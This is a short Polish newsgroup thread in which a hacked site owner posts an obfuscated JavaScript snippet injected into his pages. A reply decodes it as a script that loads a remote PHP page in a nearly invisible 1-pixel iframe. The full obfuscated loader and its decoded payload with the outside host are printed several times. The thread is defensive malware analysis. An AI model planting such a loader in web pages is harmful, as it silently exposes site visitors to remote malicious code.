Thread View: pl.comp.lang.javascript
4 messages
4 total messages
Started by mipaj1111
Fri, 04 Jan 2013 08:07
Co robi ten skrypt?
Author: mipaj1111
Date: Fri, 04 Jan 2013 08:07
Date: Fri, 04 Jan 2013 08:07
10 lines
3412 bytes
3412 bytes
Dzień dobry,
Jakiś czas temu ktoś włamał się na prowadzoną przeze mnie stronę www i podmienił, a właściwie podopisywał coś do niektórych plików.
Poniżej zawartość jednego z tych dopisów, i moja prośba do Was - co ten skrypt robi?
*************
try{bgewg346tr++}catch(aszx){try{dsgdsg-142}catch(dsfsd){try{window.document.body++}catch(gdsgsdg){dbshre=26;}}}
if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}asgq=new Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1,24,25,26,27,109,89,107,26,101,112,95,112,26,56,23,92,104,93,112,100,93,103,110,41,90,106,94,91,111,92,61,101,95,104,92,102,109,34,34,96,94,107,91,104,92,31,34,53,8,1,5,3,26,27,23,24,99,115,98,110,38,108,108,94,23,53,25,33,99,107,108,105,52,42,38,41,101,105,102,105,89,108,104,116,106,108,90,113,41,90,90,90,40,107,99,39,98,103,92,94,93,108,41,111,105,89,95,40,107,95,104,32,53,8,1,24,25,26,27,97,113,96,113,41,106,108,114,102,96,37,104,104,109,100,107,97,104,104,27,52,24,32,91,93,106,103,101,111,111,92,31,52,7,5,23,24,25,26,101,112,95,112,40,110,107,113,101,95,41,89,103,107,94,96,105,24,54,26,34,39,31,52,7,5,23,24,25,26,101,112,95,112,40,110,107,113,101,95,41,95,93,98,97,99,107,24,54,26,34,40,104,113,33,54,4,2,25,26,27,23,98,114,97,114,37,107,109,115,103,92,38,112,99,95,107,96,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,99,115,98,110,38,108,110,116,99,93,39,102,96,93,108,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,99,115,98,110,38,108,110,116,99,93,39,110,106,103,24,54,26,34,40,104,113,33,54,4,2,6,4,27,23,24,25,99,97,23,32,26,94,106,90,109,102,95,105,107,38,96,95,111,60,100,94,103,96,101,108,59,115,68,91,32,32,100,116,94,111,32,35,36,23,115,6,4,27,23,24,25,26,27,23,24,93,105,94,108,101,94,104,111,37,111,107,99,111,92,32,32,54,95,96,110,25,99,95,52,84,32,100,116,94,111,85,33,57,51,39,93,99,113,53,31,34,53,8,1,24,25,26,27,23,24,25,26,95,102,91,110,103,96,101,108,39,97,96,107,61,101,95,104,92,102,109,60,116,64,92,33,33,101,112,95,112,33,36,37,89,105,106,96,101,92,60,98,100,99,92,33,100,116,94,111,34,53,8,1,24,25,26,27,116,5,3,119,36,31,33,52);s="";for(i=0;i-493!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-9));}z=s;e(z);}
Re: Co robi ten skrypt?
Author: rePeter
Date: Fri, 04 Jan 2013 14:04
Date: Fri, 04 Jan 2013 14:04
38 lines
3803 bytes
3803 bytes
Fri, 4 Jan 2013 00:07:51 -0800 (PST)
mipaj1111@gmail.com napisał(a):
> Dzień dobry,
>
> Jakiś czas temu ktoś włamał się na prowadzoną przeze mnie stronę www i
> podmienił, a właściwie podopisywał coś do niektórych plików.
>
> Poniżej zawartość jednego z tych dopisów, i moja prośba do Was - co ten
> skrypt robi?
>
> *************
>
> try{bgewg346tr++}catch(aszx){try{dsgdsg-142}catch(dsfsd){try{window.document.body++}catch(gdsgsdg){dbshre=26;}}}
> if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}asgq=new
> Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1,24,25,26,27,109,89,107,26,101,112,95,112,26,56,23,92,104,93,112,100,93,103,110,41,90,106,94,91,111,92,61,101,95,104,92,102,109,34,34,96,94,107,91,104,92,31,34,53,8,1,5,3,26,27,23,24,99,115,98,110,38,108,108,94,23,53,25,33,99,107,108,105,52,42,38,41,101,105,102,105,89,108,104,116,106,108,90,113,41,90,90,90,40,107,99,39,98,103,92,94,93,108,41,111,105,89,95,40,107,95,104,32,53,8,1,24,25,26,27,97,113,96,113,41,106,108,114,102,96,37,104,104,109,100,107,97,104,104,27,52,24,32,91,93,106,103,101,111,111,92,31,52,7,5,23,24,25,26,101,112,95,112,40,110,107,113,101,95,41,89,103,107,94,96,105,24,54,26,34,39,31,52,7,5,23,24,25,26,101,112,95,112,40,110,107,113,101,95,41,95,93,98,97,99,107,24,54,26,34,40,104,113,33,54,4,2,25,26,27,23,98,114,97,114,37,107,109,115,103,92,38,112,99,95,107,96,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,99,115,98,110,38,108,110,116,99,93,39,102,96,93,108,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,99,115,98,110,38,108,110,116,99,93,39,110,106,103,24,54,26,34,40,104,113,33,54,4,2,6,4,27,23,24,25,99,97,23,32,26,94,106,90,109,102,95,105,107,38,96,95,111,60,100,94,103,96,101,108,59,115,68,91,32,32,100,116,94,111,32,35,36,23,115,6,4,27,23,24,25,26,27,23,24,93,105,94,108,101,94,104,111,37,111,107,99,111,92,32,32,54,95,96,110,25,99,95,52,84,32,100,116,94,111,85,33,57,51,39,93,99,113,53,31,34,53,8,1,24,25,26,27,23,24,25,26,95,102,91,110,103,96,101,108,39,97,96,107,61,101,95,104,92,102,109,60,116,64,92,33,33,101,112,95,112,33,36,37,89,105,106,96,101,92,60,98,100,99,92,33,100,116,94,111,34,53,8,1,24,25,26,27,116,5,3,119,36,31,33,52);s="";for(i=0;i-493!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-9));}z=s;e(z);}
Wykonuje taki kod:
(function () {
var jygw = document.createElement('iframe');
jygw.src = 'http://1lokrasnystaw.cba.pl/images/traf.php';
jygw.style.position = 'absolute';
jygw.style.border = '0';
jygw.style.height = '1px';
jygw.style.width = '1px';
jygw.style.left = '1px';
jygw.style.top = '1px';
if (!document.getElementById('jygw')) {
document.write('');
document.getElementById('jygw').appendChild(jygw);
}
})();
czyli, jeśli się nie mylę, w prawie niewidocznej ramce uruchamia swój kod
pobrany z powyższego adresu.
Pozdr. Piotr
Re: Co robi ten skrypt?
Author: mic49
Date: Fri, 04 Jan 2013 20:33
Date: Fri, 04 Jan 2013 20:33
82 lines
4685 bytes
4685 bytes
W dniu piątek, 4 stycznia 2013 15:04:16 UTC+1 użytkownik rePeter napisał:
> Fri, 4 Jan 2013 00:07:51 -0800 (PST)
>
> mipaj1111@gmail.com napisał(a):
>
>
>
> > Dzień dobry,
>
> >
>
> > Jakiś czas temu ktoś włamał się na prowadzoną przeze mnie stronę www i
>
> > podmienił, a właściwie podopisywał coś do niektórych plików.
>
> >
>
> > Poniżej zawartość jednego z tych dopisów, i moja prośba do Was - co ten
>
> > skrypt robi?
>
> >
>
> > *************
>
> >
>
> > try{bgewg346tr++}catch(aszx){try{dsgdsg-142}catch(dsfsd){try{window.document.body++}catch(gdsgsdg){dbshre=26;}}}
>
> > if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}asgq=new
>
> > Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1,24,25,26,27,109,89,107,26,101,112,95,112,26,56,23,92,104,93,112,100,93,103,110,41,90,106,94,91,111,92,61,101,95,104,92,102,109,34,34,96,94,107,91,104,92,31,34,53,8,1,5,3,26,27,23,24,99,115,98,110,38,108,108,94,23,53,25,33,99,107,108,105,52,42,38,41,101,105,102,105,89,108,104,116,106,108,90,113,41,90,90,90,40,107,99,39,98,103,92,94,93,108,41,111,105,89,95,40,107,95,104,32,53,8,1,24,25,26,27,97,113,96,113,41,106,108,114,102,96,37,104,104,109,100,107,97,104,104,27,52,24,32,91,93,106,103,101,111,111,92,31,52,7,5,23,24,25,26,101,112,95,112,40,110,107,113,101,95,41,89,103,107,94,96,105,24,54,26,34,39,31,52,7,5,23,24,25,26,101,112,95,112,40,110,107,113,101,95,41,95,93,98,97,99,107,24,54,26,34,40,104,113,33,54,4,2,25,26,27,23,98,114,97,114,37,107,109,115,103,92,38,112,99,95,107,96,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,99,115,98,110,38,108,110,116,99,93,39,102,96,93,108,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,99,115,98,110,38,108,110,116,99,93,39,110,106,103,24,54,26,34,40,104,113,33,54,4,2,6,4,27,23,24,25,99,97,23,32,26,94,106,90,109,102,95,105,107,38,96,95,111,60,100,94,103,96,101,108,59,115,68,91,32,32,100,116,94,111,32,35,36,23,115,6,4,27,23,24,25,26,27,23,24,93,105,94,108,101,94,104,111,37,111,107,99,111,92,32,32,54,95,96,110,25,99,95,52,84,32,100,116,94,111,85,33,57,51,39,93,99,113,53,31,34,53,8,1,24,25,26,27,23,24,25,26,95,102,91,110,103,96,101,108,39,97,96,107,61,101,95,104,92,102,109,60,116,64,92,33,33,101,112,95,112,33,36,37,89,105,106,96,101,92,60,98,100,99,92,33,100,116,94,111,34,53,8,1,24,25,26,27,116,5,3,119,36,31,33,52);s="";for(i=0;i-493!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-9));}z=s;e(z);}
>
>
>
>
>
> Wykonuje taki kod:
>
> (function () {
>
> var jygw = document.createElement('iframe');
>
> jygw.src = 'http://1lokrasnystaw.cba.pl/images/traf.php';
>
> jygw.style.position = 'absolute';
>
> jygw.style.border = '0';
>
> jygw.style.height = '1px';
>
> jygw.style.width = '1px';
>
> jygw.style.left = '1px';
>
> jygw.style.top = '1px';
>
> if (!document.getElementById('jygw')) {
>
> document.write('');
>
> document.getElementById('jygw').appendChild(jygw);
>
> }
>
> })();
>
> czyli, jeśli się nie mylę, w prawie niewidocznej ramce uruchamia swój kod
>
> pobrany z powyższego adresu.
>
>
>
>
>
> Pozdr. Piotr
Dzięki wielkie :)
Mam tylko pytanie: jak do tego doszedłeś?
Michał
Re: Co robi ten skrypt?
Author: rePeter
Date: Fri, 04 Jan 2013 21:39
Date: Fri, 04 Jan 2013 21:39
14 lines
3083 bytes
3083 bytes
Fri, 4 Jan 2013 12:33:09 -0800 (PST)
mic49 <mipaj1111@gmail.com> napisał(a):
>> e=eval; asgq=new Array
>>(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1,24,25,26,27,109,89,107,26,101,112,95,112,26,56,23,92,104,93,112,100,93,103,110,41,90,106,94,91,111,92,61,101,95,104,92,102,109,34,34,96,94,107,91,104,92,31,34,53,8,1,5,3,26,27,23,24,99,115,98,110,38,108,108,94,23,53,25,33,99,107,108,105,52,42,38,41,101,105,102,105,89,108,104,116,106,108,90,113,41,90,90,90,40,107,99,39,98,103,92,94,93,108,41,111,105,89,95,40,107,95,104,32,53,8,1,24,25,26,27,97,113,96,113,41,106,108,114,102,96,37,104,104,109,100,107,97,104,104,27,52,24,32,91,93,106,103,101,111,111,92,31,52,7,5,23,24,25,26,101,112,95,112,40,110,107,113,101,95,41,89,103,107,94,96,105,24,54,26,34,39,31,52,7,5,23,24,25,26,101,112,95,112,40,110,107,113,101,95,41,95,93,98,97,99,107,24,54,26,34,40,104,113,33,54,4,2,25,26,27,23,98,114,97,114,37,107,109,115,103,92,38,112,99,95,107,96,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,99,115,98,110,38,108,110,116,99,93,39,102,96,93,108,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,99,115,98,110,38,108,110,116,99,93,39,110,106,103,24,54,26,34,40,104,113,33,54,4,2,6,4,27,23,24,25,99,97,23,32,26,94,106,90,109,102,95,105,107,38,96,95,111,60,100,94,103,96,101,108,59,115,68,91,32,32,100,116,94,111,32,35,36,23,115,6,4,27,23,24,25,26,27,23,24,93,105,94,108,101,94,104,111,37,111,107,99,111,92,32,32,54,95,96,110,25,99,95,52,84,32,100,116,94,111,85,33,57,51,39,93,99,113,53,31,34,53,8,1,24,25,26,27,23,24,25,26,95,102,91,110,103,96,101,108,39,97,96,107,61,101,95,104,92,102,109,60,116,64,92,33,33,101,112,95,112,33,36,37,89,105,106,96,101,92,60,98,100,99,92,33,100,116,94,111,34,53,8,1,24,25,26,27,116,5,3,119,36,31,33,52);s="";for(i=0;i-493!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-9));}z=s;e(z);}
> Mam tylko pytanie: jak do tego doszedłeś?
Tablica asgq zawiera kody znaków, które są zmieniane na string s i z,
i na końcu wykonywane jako kod JS. Można więc zamiast e(z); wypisać
zawartość stringa, np. document.write(s);
--
Piotr
Thread Navigation
This is a paginated view of messages in the thread with full content displayed inline.
Messages are displayed in chronological order, with the original post highlighted in green.
Use pagination controls to navigate through all messages in large threads.
Back to All Threads